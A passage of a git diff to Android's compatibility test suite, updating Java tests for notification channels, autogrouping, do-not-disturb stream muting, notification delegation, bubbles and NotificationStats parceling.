new NotificationChannel(
- UUID.randomUUID().toString(), "name4", NotificationManager.IMPORTANCE_MIN);
+ UUID.randomUUID().toString(), "name4", IMPORTANCE_MIN);
Map<String, NotificationChannel> channelMap = new HashMap<>();
channelMap.put(channel1.getId(), channel1);
@@ -957,10 +1151,10 @@
public void testRecreateDeletedChannel() throws Exception {
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setShowBadge(true);
NotificationChannel newChannel = new NotificationChannel(
- channel.getId(), channel.getName(), NotificationManager.IMPORTANCE_HIGH);
+ channel.getId(), channel.getName(), IMPORTANCE_HIGH);
mNotificationManager.createNotificationChannel(channel);
mNotificationManager.deleteNotificationChannel(channel.getId());
@@ -1089,8 +1283,8 @@
// turn on bubbles globally
toggleBubbleSetting(true);
- assertEquals(1, Settings.Secure.getInt(
- mContext.getContentResolver(), Settings.Secure.NOTIFICATION_BUBBLES));
+ assertEquals(1, Settings.Global.getInt(
+ mContext.getContentResolver(), Settings.Global.NOTIFICATION_BUBBLES));
toggleListenerAccess(TestNotificationListener.getId(),
InstrumentationRegistry.getInstrumentation(), true);
@@ -1240,8 +1434,7 @@
mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0,
SUPPRESSED_EFFECT_SCREEN_ON));
}
- mNotificationManager.setInterruptionFilter(
- NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+ mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
final int notificationId = 1;
// update notification
@@ -1292,7 +1485,7 @@
NotificationListenerService.Ranking outRanking =
new NotificationListenerService.Ranking();
- StatusBarNotification sbn = findPostedNotification(notificationId);
+ StatusBarNotification sbn = findPostedNotification(notificationId, false);
// check that the key and channel ids are the same in the ranking as the posted notification
for (String key : rankingMap.getOrderedKeys()) {
@@ -1318,7 +1511,7 @@
mNotificationManager.cancelAll();
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_NONE);
+ new NotificationChannel(mId, "name", IMPORTANCE_NONE);
mNotificationManager.createNotificationChannel(channel);
int id = 1;
@@ -1343,7 +1536,7 @@
group.setBlocked(true);
mNotificationManager.createNotificationChannelGroup(group);
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup(mId);
mNotificationManager.createNotificationChannel(channel);
@@ -1467,12 +1660,12 @@
}
}
- public void testMediaStyle_empty() throws Exception {
+ public void testMediaStyle_empty() {
Notification.MediaStyle style = new Notification.MediaStyle();
assertNotNull(style);
}
- public void testMediaStyle() throws Exception {
+ public void testMediaStyle() {
mNotificationManager.cancelAll();
final int id = 99;
MediaSession session = new MediaSession(getContext(), "media");
@@ -1499,7 +1692,7 @@
}
}
- public void testInboxStyle() throws Exception {
+ public void testInboxStyle() {
final int id = 100;
final Notification notification =
@@ -1523,7 +1716,7 @@
}
}
- public void testBigTextStyle() throws Exception {
+ public void testBigTextStyle() {
final int id = 101;
final Notification notification =
@@ -1549,7 +1742,7 @@
}
}
- public void testBigPictureStyle() throws Exception {
+ public void testBigPictureStyle() {
final int id = 102;
final Notification notification =
@@ -1564,10 +1757,10 @@
Icon.createWithResource(getContext(), R.drawable.icon_blue),
"a2", getPendingIntent()).build())
.setStyle(new Notification.BigPictureStyle()
- .setBigContentTitle("title")
- .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
- .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
- .setSummaryText("summary"))
+ .setBigContentTitle("title")
+ .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
+ .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+ .setSummaryText("summary"))
.build();
mNotificationManager.notify(id, notification);
@@ -1577,77 +1770,77 @@
}
public void testAutogrouping() throws Exception {
- sendNotification(1, R.drawable.black);
- sendNotification(2, R.drawable.blue);
- sendNotification(3, R.drawable.yellow);
- sendNotification(4, R.drawable.yellow);
+ sendNotification(801, R.drawable.black);
+ sendNotification(802, R.drawable.blue);
+ sendNotification(803, R.drawable.yellow);
+ sendNotification(804, R.drawable.yellow);
assertNotificationCount(5);
assertAllPostedNotificationsAutogrouped();
}
public void testAutogrouping_autogroupStaysUntilAllNotificationsCanceled() throws Exception {
- sendNotification(1, R.drawable.black);
- sendNotification(2, R.drawable.blue);
- sendNotification(3, R.drawable.yellow);
- sendNotification(4, R.drawable.yellow);
+ sendNotification(701, R.drawable.black);
+ sendNotification(702, R.drawable.blue);
+ sendNotification(703, R.drawable.yellow);
+ sendNotification(704, R.drawable.yellow);
assertNotificationCount(5);
assertAllPostedNotificationsAutogrouped();
// Assert all notis stay in the same autogroup until all children are canceled
- for (int i = 4; i > 1; i--) {
+ for (int i = 704; i > 701; i--) {
cancelAndPoll(i);
- assertNotificationCount(i);
+ assertNotificationCount(i - 700);
assertAllPostedNotificationsAutogrouped();
}
- cancelAndPoll(1);
+ cancelAndPoll(701);
assertNotificationCount(0);
}
public void testAutogrouping_autogroupStaysUntilAllNotificationsAddedToGroup()
throws Exception {
String newGroup = "new!";
- sendNotification(1, R.drawable.black);
- sendNotification(2, R.drawable.blue);
- sendNotification(3, R.drawable.yellow);
- sendNotification(4, R.drawable.yellow);
+ sendNotification(901, R.drawable.black);
+ sendNotification(902, R.drawable.blue);
+ sendNotification(903, R.drawable.yellow);
+ sendNotification(904, R.drawable.yellow);
List<Integer> postedIds = new ArrayList<>();
- postedIds.add(1);
- postedIds.add(2);
- postedIds.add(3);
- postedIds.add(4);
+ postedIds.add(901);
+ postedIds.add(902);
+ postedIds.add(903);
+ postedIds.add(904);
assertNotificationCount(5);
assertAllPostedNotificationsAutogrouped();
// Assert all notis stay in the same autogroup until all children are canceled
- for (int i = 4; i > 1; i--) {
+ for (int i = 904; i > 901; i--) {
sendNotification(i, newGroup, R.drawable.blue);
postedIds.remove(postedIds.size() - 1);
assertNotificationCount(5);
assertOnlySomeNotificationsAutogrouped(postedIds);
}
- sendNotification(1, newGroup, R.drawable.blue);
+ sendNotification(901, newGroup, R.drawable.blue);
assertNotificationCount(4); // no more autogroup summary
postedIds.remove(0);
assertOnlySomeNotificationsAutogrouped(postedIds);
}
public void testNewNotificationsAddedToAutogroup_ifOriginalNotificationsCanceled()
- throws Exception {
+ throws Exception {
String newGroup = "new!";
- sendNotification(10, R.drawable.black);
- sendNotification(20, R.drawable.blue);
- sendNotification(30, R.drawable.yellow);
- sendNotification(40, R.drawable.yellow);
+ sendNotification(910, R.drawable.black);
+ sendNotification(920, R.drawable.blue);
+ sendNotification(930, R.drawable.yellow);
+ sendNotification(940, R.drawable.yellow);
List<Integer> postedIds = new ArrayList<>();
- postedIds.add(10);
- postedIds.add(20);
- postedIds.add(30);
- postedIds.add(40);
+ postedIds.add(910);
+ postedIds.add(920);
+ postedIds.add(930);
+ postedIds.add(940);
assertNotificationCount(5);
assertAllPostedNotificationsAutogrouped();
@@ -1667,8 +1860,8 @@
// send a new non-grouped notification. since the autogroup summary still exists,
// the notification should be added to it
- sendNotification(50, R.drawable.blue);
- postedIds.add(50);
+ sendNotification(950, R.drawable.blue);
+ postedIds.add(950);
try {
Thread.sleep(200);
} catch (InterruptedException ex) {
@@ -1677,6 +1870,92 @@
assertOnlySomeNotificationsAutogrouped(postedIds);
}
+ public void testTotalSilenceOnlyMuteStreams() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
+ try {
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), true);
+
+ // ensure volume is not muted/0 to start test
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+
+ mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
+ PRIORITY_CATEGORY_ALARMS | PRIORITY_CATEGORY_MEDIA, 0, 0));
+ AutomaticZenRule rule = createRule("test_total_silence", INTERRUPTION_FILTER_NONE);
+ String id = mNotificationManager.addAutomaticZenRule(rule);
+ mRuleIds.add(id);
+ Condition condition =
+ new Condition(rule.getConditionId(), "summary", Condition.STATE_TRUE);
+ mNotificationManager.setAutomaticZenRuleState(id, condition);
+ mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
+
+ // delay for streams to get into correct mute states
+ Thread.sleep(50);
+ assertTrue("Music (media) stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
+ assertTrue("System stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
+ assertTrue("Alarm stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+
+ // Test requires that the phone's default state has no channels that can bypass dnd
+ assertTrue("Ringer stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+ } finally {
+ mNotificationManager.setInterruptionFilter(originalFilter);
+ }
+ }
+
+ public void testAlarmsOnlyMuteStreams() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
+ try {
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), true);
+
+ // ensure volume is not muted/0 to start test
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+
+ mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
+ PRIORITY_CATEGORY_ALARMS | PRIORITY_CATEGORY_MEDIA, 0, 0));
+ AutomaticZenRule rule = createRule("test_alarms", INTERRUPTION_FILTER_ALARMS);
+ String id = mNotificationManager.addAutomaticZenRule(rule);
+ mRuleIds.add(id);
+ Condition condition =
+ new Condition(rule.getConditionId(), "summary", Condition.STATE_TRUE);
+ mNotificationManager.setAutomaticZenRuleState(id, condition);
+ mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
+
+ // delay for streams to get into correct mute states
+ Thread.sleep(50);
+ assertFalse("Music (media) stream should not be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
+ assertTrue("System stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
+ assertFalse("Alarm stream should not be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+
+ // Test requires that the phone's default state has no channels that can bypass dnd
+ assertTrue("Ringer stream should be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+ } finally {
+ mNotificationManager.setInterruptionFilter(originalFilter);
+ }
+ }
+
public void testAddAutomaticZenRule_configActivity() throws Exception {
if (mActivityManager.isLowRamDevice()) {
return;
@@ -1813,7 +2092,6 @@
assertExpectedDndState(INTERRUPTION_FILTER_ALL);
}
- @FlakyTest
public void testSetAutomaticZenRuleState_multipleRules() throws Exception {
if (mActivityManager.isLowRamDevice()) {
return;
@@ -1827,7 +2105,7 @@
mRuleIds.add(id);
AutomaticZenRule secondRuleToCreate = createRule("Rule 2");
- secondRuleToCreate.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
+ secondRuleToCreate.setInterruptionFilter(INTERRUPTION_FILTER_NONE);
String secondId = mNotificationManager.addAutomaticZenRule(secondRuleToCreate);
mRuleIds.add(secondId);
@@ -1932,7 +2210,7 @@
.build();
mNotificationManager.notify(id, notification);
- StatusBarNotification n = findPostedNotification(id);
+ StatusBarNotification n = findPostedNotification(id, false);
assertNotNull(n);
assertEquals(notification.fullScreenIntent, n.getNotification().fullScreenIntent);
}
@@ -1986,7 +2264,74 @@
.build();
mNotificationManager.notifyAsPackage(DELEGATOR, "tag", 0, n);
- findPostedNotification(0);
+ assertNotNull(findPostedNotification(0, false));
+ final Intent revokeIntent = new Intent();
+ revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
+ revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(revokeIntent);
+ Thread.sleep(1000);
+ }
+
+ public void testNotificationDelegate_grantAndPostAndCancel() throws Exception {
+ // grant this test permission to post
+ final Intent activityIntent = new Intent();
+ activityIntent.setPackage(DELEGATOR);
+ activityIntent.setAction(Intent.ACTION_MAIN);
+ activityIntent.addCategory(Intent.CATEGORY_LAUNCHER);
+ activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ // wait for the activity to launch and finish
+ mContext.startActivity(activityIntent);
+ Thread.sleep(1000);
+
+ // send notification
+ Notification n = new Notification.Builder(mContext, "channel")
+ .setSmallIcon(android.R.id.icon)
+ .build();
+ mNotificationManager.notifyAsPackage(DELEGATOR, "toBeCanceled", 10000, n);
+ assertNotNull(findPostedNotification(10000, false));
+ mNotificationManager.cancelAsPackage(DELEGATOR, "toBeCanceled", 10000);
+ assertTrue(isNotificationCancelled(10000, false));
+ final Intent revokeIntent = new Intent();
+ revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
+ revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(revokeIntent);
+ Thread.sleep(1000);
+ }
+
+ public void testNotificationDelegate_cannotCancelNotificationsPostedByDelegator()
+ throws Exception {
+ if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
+ return;
+ }
+
+ toggleListenerAccess(TestNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ // grant this test permission to post
+ final Intent activityIntent = new Intent();
+ activityIntent.setClassName(DELEGATOR, DELEGATE_POST_CLASS);
+ activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ mContext.startActivity(activityIntent);
+
+ Thread.sleep(1000);
+
+ assertNotNull(findPostedNotification(9, true));
+
+ try {
+ mNotificationManager.cancelAsPackage(DELEGATOR, null, 9);
+ fail ("Delegate should not be able to cancel notification they did not post");
+ } catch (SecurityException e) {
+ // yay
+ }
+
+ // double check that the notification does still exist
+ assertNotNull(findPostedNotification(9, true));
final Intent revokeIntent = new Intent();
revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
@@ -2105,7 +2450,7 @@
.build();
mNotificationManager.notify(id, notification);
- StatusBarNotification n = findPostedNotification(id);
+ StatusBarNotification n = findPostedNotification(id, false);
assertNotNull(n);
}
@@ -2192,15 +2537,15 @@
mListener = TestNotificationListener.getInstance();
assertNotNull(mListener);
- final int notificationId1 = 1;
- final int notificationId2 = 2;
+ final int notificationId1 = 1003;
+ final int notificationId2 = 1004;
sendNotification(notificationId1, R.drawable.black);
sendNotification(notificationId2, R.drawable.black);
Thread.sleep(500); // wait for notification listener to receive notification
- StatusBarNotification sbn1 = findPostedNotification(notificationId1);
- StatusBarNotification sbn2 = findPostedNotification(notificationId2);
+ StatusBarNotification sbn1 = findPostedNotification(notificationId1, false);
+ StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
mListener.setNotificationsShown(new String[]{ sbn1.getKey() });
toggleListenerAccess(TestNotificationListener.getId(),
@@ -2266,7 +2611,7 @@
assertNotNull(mListener);
NotificationChannel channel = new NotificationChannel(
- NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ NOTIFICATION_CHANNEL_ID, "name", IMPORTANCE_DEFAULT);
try {
mListener.updateNotificationChannel(mContext.getPackageName(), UserHandle.CURRENT,
channel);
@@ -2288,15 +2633,15 @@
mListener = TestNotificationListener.getInstance();
assertNotNull(mListener);
- final int notificationId1 = 1;
- final int notificationId2 = 2;
+ final int notificationId1 = 1001;
+ final int notificationId2 = 1002;
sendNotification(notificationId1, R.drawable.black);
sendNotification(notificationId2, R.drawable.black);
Thread.sleep(500); // wait for notification listener to receive notification
- StatusBarNotification sbn1 = findPostedNotification(notificationId1);
- StatusBarNotification sbn2 = findPostedNotification(notificationId2);
+ StatusBarNotification sbn1 = findPostedNotification(notificationId1, false);
+ StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
StatusBarNotification[] notifs =
mListener.getActiveNotifications(new String[]{ sbn2.getKey(), sbn1.getKey() });
assertEquals(sbn2.getKey(), notifs[0].getKey());
@@ -2338,12 +2683,12 @@
mListener = TestNotificationListener.getInstance();
assertNotNull(mListener);
- final int notificationId = 1;
+ final int notificationId = 1006;
sendNotification(notificationId, R.drawable.black);
Thread.sleep(500); // wait for notification listener to receive notification
- StatusBarNotification sbn = findPostedNotification(notificationId);
+ StatusBarNotification sbn = findPostedNotification(notificationId, false);
mListener.cancelNotification(sbn.getPackageName(), sbn.getTag(), sbn.getId());
if (mContext.getApplicationInfo().targetSdkVersion >= Build.VERSION_CODES.LOLLIPOP) {
@@ -2355,7 +2700,7 @@
// Tested in LegacyNotificationManager20Test
if (checkNotificationExistence(notificationId, /*shouldExist=*/ true)) {
fail("Notification should have been cancelled for targetSdk below L. targetSdk="
- + mContext.getApplicationInfo().targetSdkVersion);
+ + mContext.getApplicationInfo().targetSdkVersion);
}
}
@@ -2376,7 +2721,8 @@
lengthGreaterThanZero);
String badNumberString = NotificationManager.Policy.priorityCategoriesToString(1234567);
- assertNotNull("priorityCategories with a non-relevant int returns a string", oneString);
+ assertNotNull("priorityCategories with a non-relevant int returns a string",
+ badNumberString);
}
public void testNotificationManagerPolicy_prioritySendersToString() {
@@ -2600,36 +2946,11 @@
// turn on bubbles globally
toggleBubbleSetting(true);
- final CountDownLatch latch = new CountDownLatch(2);
- BroadcastReceiver receiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- latch.countDown();
- }
- };
- IntentFilter filter = new IntentFilter(BubblesTestActivity.BUBBLE_ACTIVITY_OPENED);
- mContext.registerReceiver(receiver, filter);
-
// Start & get the activity
- BubblesTestActivity a = (BubblesTestActivity) launchSendBubbleActivity();
+ SendBubbleActivity a = startSendBubbleActivity();
- // Make sure device is unlocked
- KeyguardManager keyguardManager =
- (KeyguardManager) mContext.getSystemService(Context.KEYGUARD_SERVICE);
- keyguardManager.requestDismissKeyguard(a, new KeyguardManager.KeyguardDismissCallback() {
- @Override
- public void onDismissSucceeded() {
- latch.countDown();
- }
- });
- try {
- latch.await(100, TimeUnit.MILLISECONDS);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
-
- // Should be foreground now
- a.sendBubble(1);
+ // Send a bubble from foreground
+ a.sendBubble(4000, false /* autoExpand */);
boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
@@ -2639,11 +2960,12 @@
}
// Make ourselves not foreground
- HomeHelper homeHelper = new HomeHelper();
- homeHelper.goHome();
+ getContext().startActivity(new Intent(Intent.ACTION_MAIN)
+ .addCategory(Intent.CATEGORY_HOME).setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ a.waitForStopped();
// The notif should be allowed to update as a bubble
- a.sendBubble(2);
+ a.sendBubble(4001, false /* autoExpand */);
if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
true /* shouldExist */, shouldBeBubble)) {
@@ -2654,90 +2976,74 @@
cancelAndPoll(BUBBLE_NOTIF_ID);
// Send it again when not foreground, this should not be a bubble & just be a notif
- a.sendBubble(3);
+ a.sendBubble(4002, false /* autoExpand */);
if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
true /* shouldExist */, false /* shouldBeBubble */)) {
fail("couldn't find posted notification with id=" + BUBBLE_NOTIF_ID
+ " or it was a bubble when it shouldn't be");
}
- mContext.unregisterReceiver(receiver);
- homeHelper.close();
+ cleanupSendBubbleActivity();
} finally {
// turn off bubbles globally
toggleBubbleSetting(false);
}
}
- public void testNotificationManagerBubblePolicy_noFlag_notEmbeddable() throws Exception {
- Person person = new Person.Builder()
- .setName("bubblebot")
- .build();
+ public void testNotificationManagerBubble_ensureFlaggedDocumentLaunchMode() throws Exception {
+ try {
+ // turn on bubbles globally
+ toggleBubbleSetting(true);
- RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
- PendingIntent inputIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- Icon icon = Icon.createWithResource(mContext, android.R.drawable.sym_def_app_icon);
- Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
- inputIntent).addRemoteInput(remoteInput)
- .build();
+ // make ourselves foreground so we can auto-expand the bubble & check the intent flags
+ SendBubbleActivity a = startSendBubbleActivity();
- Notification.Builder nb = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
- .setContentTitle("foo")
- .setStyle(new Notification.MessagingStyle(person)
- .setConversationTitle("Bubble Chat")
- .addMessage("Hello?",
- SystemClock.currentThreadTimeMillis() - 300000, person)
- .addMessage("Is it me you're looking for?",
- SystemClock.currentThreadTimeMillis(), person)
- )
- .setActions(replyAction)
- .setSmallIcon(android.R.drawable.sym_def_app_icon);
+ // Prep to find bubbled activity
+ Class clazz = BubbledActivity.class;
+ Instrumentation.ActivityResult result =
+ new Instrumentation.ActivityResult(0, new Intent());
+ Instrumentation.ActivityMonitor monitor =
+ new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+ InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
- final Intent intent = new Intent(mContext, BubblesTestNotEmbeddableActivity.class);
- final PendingIntent pendingIntent =
- PendingIntent.getActivity(mContext, 0, intent, 0);
+ a.sendBubble(4003, true /* autoExpand */);
- Notification.BubbleMetadata.Builder metadataBuilder =
- new Notification.BubbleMetadata.Builder()
- .setIntent(pendingIntent)
- .setIcon(Icon.createWithResource(mContext, R.drawable.black));
+ boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
+ if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
+ true /* shouldExist */, shouldBeBubble)) {
+ fail("couldn't find posted notification bubble with id=" + BUBBLE_NOTIF_ID);
+ }
- sendAndVerifyBubble(1, nb, metadataBuilder.build(), false);
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+ BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+ assertTrue((activity.getIntent().getFlags() & FLAG_ACTIVITY_NEW_DOCUMENT) != 0);
+ assertTrue((activity.getIntent().getFlags() & FLAG_ACTIVITY_MULTIPLE_TASK) != 0);
+
+ cleanupSendBubbleActivity();
+ } finally {
+ // turn off bubbles globally
+ toggleBubbleSetting(false);
+ }
}
- public void testNotificationManagerBubblePolicy_noFlag_notDocumentLaunchModeAlways() throws Exception {
- Person person = new Person.Builder()
- .setName("bubblebot")
- .build();
+ public void testOriginalChannelImportance() {
+ NotificationChannel channel = new NotificationChannel(
+ "my channel", "my channel", IMPORTANCE_HIGH);
- RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
- PendingIntent inputIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- Icon icon = Icon.createWithResource(mContext, android.R.drawable.sym_def_app_icon);
- Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
- inputIntent).addRemoteInput(remoteInput)
- .build();
+ mNotificationManager.createNotificationChannel(channel);
- Notification.Builder nb = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
- .setContentTitle("foo")
- .setStyle(new Notification.MessagingStyle(person)
- .setConversationTitle("Bubble Chat")
- .addMessage("Hello?",
- SystemClock.currentThreadTimeMillis() - 300000, person)
- .addMessage("Is it me you're looking for?",
- SystemClock.currentThreadTimeMillis(), person)
- )
- .setActions(replyAction)
- .setSmallIcon(android.R.drawable.sym_def_app_icon);
+ NotificationChannel actual = mNotificationManager.getNotificationChannel(channel.getId());
+ assertEquals(IMPORTANCE_HIGH, actual.getImportance());
+ assertEquals(IMPORTANCE_HIGH, actual.getOriginalImportance());
- final Intent intent = new Intent(mContext, BubblesTestNotDocumentLaunchModeActivity.class);
- final PendingIntent pendingIntent =
- PendingIntent.getActivity(mContext, 0, intent, 0);
+ // Apps are allowed to downgrade channel importance if the user has not changed any
+ // fields on this channel yet.
+ channel.setImportance(IMPORTANCE_DEFAULT);
+ mNotificationManager.createNotificationChannel(channel);
- Notification.BubbleMetadata.Builder metadataBuilder =
- new Notification.BubbleMetadata.Builder()
- .setIntent(pendingIntent)
- .setIcon(Icon.createWithResource(mContext, R.drawable.black));
-
- sendAndVerifyBubble(1, nb, metadataBuilder.build(), false);
+ actual = mNotificationManager.getNotificationChannel(channel.getId());
+ assertEquals(IMPORTANCE_DEFAULT, actual.getImportance());
+ assertEquals(IMPORTANCE_HIGH, actual.getOriginalImportance());
}
}
diff --git a/tests/app/src/android/app/cts/NotificationStatsTest.java b/tests/app/src/android/app/cts/NotificationStatsTest.java
index 6e3d34c..a37191d 100644
--- a/tests/app/src/android/app/cts/NotificationStatsTest.java
+++ b/tests/app/src/android/app/cts/NotificationStatsTest.java
@@ -16,6 +16,10 @@
package android.app.cts;
+import static android.service.notification.NotificationStats.DISMISSAL_PEEK;
+import static android.service.notification.NotificationStats.DISMISS_SENTIMENT_NEGATIVE;
+
+import android.os.Parcel;
import android.service.notification.NotificationStats;
import android.test.AndroidTestCase;
@@ -43,4 +47,77 @@
notificationStats.getDismissalSentiment());
}
+ public void testConstructor() {
+ NotificationStats stats = new NotificationStats();
+
+ assertFalse(stats.hasSeen());
+ assertFalse(stats.hasDirectReplied());
+ assertFalse(stats.hasExpanded());
+ assertFalse(stats.hasInteracted());
+ assertFalse(stats.hasViewedSettings());
+ assertFalse(stats.hasSnoozed());
+ assertEquals(NotificationStats.DISMISSAL_NOT_DISMISSED, stats.getDismissalSurface());
+ assertEquals(NotificationStats.DISMISS_SENTIMENT_UNKNOWN, stats.getDismissalSentiment());
+ }
+
+ public void testSeen() {
+ NotificationStats stats = new NotificationStats();
+ stats.setSeen();
+ assertTrue(stats.hasSeen());
+ assertFalse(stats.hasInteracted());
+ }
+
+ public void testDirectReplied() {
+ NotificationStats stats = new NotificationStats();
+ stats.setDirectReplied();
+ assertTrue(stats.hasDirectReplied());
+ assertTrue(stats.hasInteracted());
+ }
+
+ public void testExpanded() {
+ NotificationStats stats = new NotificationStats();
+ stats.setExpanded();
+ assertTrue(stats.hasExpanded());
+ assertTrue(stats.hasInteracted());
+ }
+
+ public void testSnoozed() {
+ NotificationStats stats = new NotificationStats();
+ stats.setSnoozed();
+ assertTrue(stats.hasSnoozed());
+ assertTrue(stats.hasInteracted());
+ }
+
+ public void testViewedSettings() {
+ NotificationStats stats = new NotificationStats();
+ stats.setViewedSettings();
+ assertTrue(stats.hasViewedSettings());
+ assertTrue(stats.hasInteracted());
+ }
+
+ public void testDismissalSurface() {
+ NotificationStats stats = new NotificationStats();
+ stats.setDismissalSurface(DISMISSAL_PEEK);
+ assertEquals(DISMISSAL_PEEK, stats.getDismissalSurface());
+ assertFalse(stats.hasInteracted());
+ }
+
+ public void testDismissalSentiment() {
+ NotificationStats stats = new NotificationStats();
+ stats.setDismissalSentiment(DISMISS_SENTIMENT_NEGATIVE);
+ assertEquals(DISMISS_SENTIMENT_NEGATIVE, stats.getDismissalSentiment());
+ assertFalse(stats.hasInteracted());
+ }
+
+ public void testWriteToParcel() {
+ NotificationStats stats = new NotificationStats();
+ stats.setViewedSettings();
+ stats.setDismissalSurface(NotificationStats.DISMISSAL_AOD);
+ stats.setDismissalSentiment(NotificationStats.DISMISS_SENTIMENT_POSITIVE);
+ Parcel parcel = Parcel.obtain();
+ stats.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ NotificationStats stats1 = NotificationStats.CREATOR.createFromParcel(parcel);
+ assertEquals(stats, stats1);
+ }
}
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 4bde253..f0235f2 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -707,23 +707,6 @@
}
}
- public void testBubbleMetadataBuilder_throwForBitmapIcon() {
- Bitmap b = Bitmap.createBitmap(50, 25, Bitmap.Config.ARGB_8888);
- new Canvas(b).drawColor(0xffff0000);
- Icon icon = Icon.createWithBitmap(b);
-
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- try {
- Notification.BubbleMetadata.Builder metadataBuilder =
- new Notification.BubbleMetadata.Builder()
- .setIcon(icon)
- .setIntent(bubbleIntent);
- fail("Should have thrown IllegalArgumentException, invalid icon type (bitmap)");
- } catch (IllegalArgumentException e) {
- // expected
- }
- }
-
public void testBubbleMetadataBuilder_noThrowForAdaptiveBitmapIcon() {
Bitmap b = Bitmap.createBitmap(50, 25, Bitmap.Config.ARGB_8888);
new Canvas(b).drawColor(0xffff0000);
diff --git a/tests/app/src/android/app/cts/PipActivityTest.java b/tests/app/src/android/app/cts/PipActivityTest.java
deleted file mode 100644
index 092756c..0000000
--- a/tests/app/src/android/app/cts/PipActivityTest.java
+++ /dev/null
@@ -1,127 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
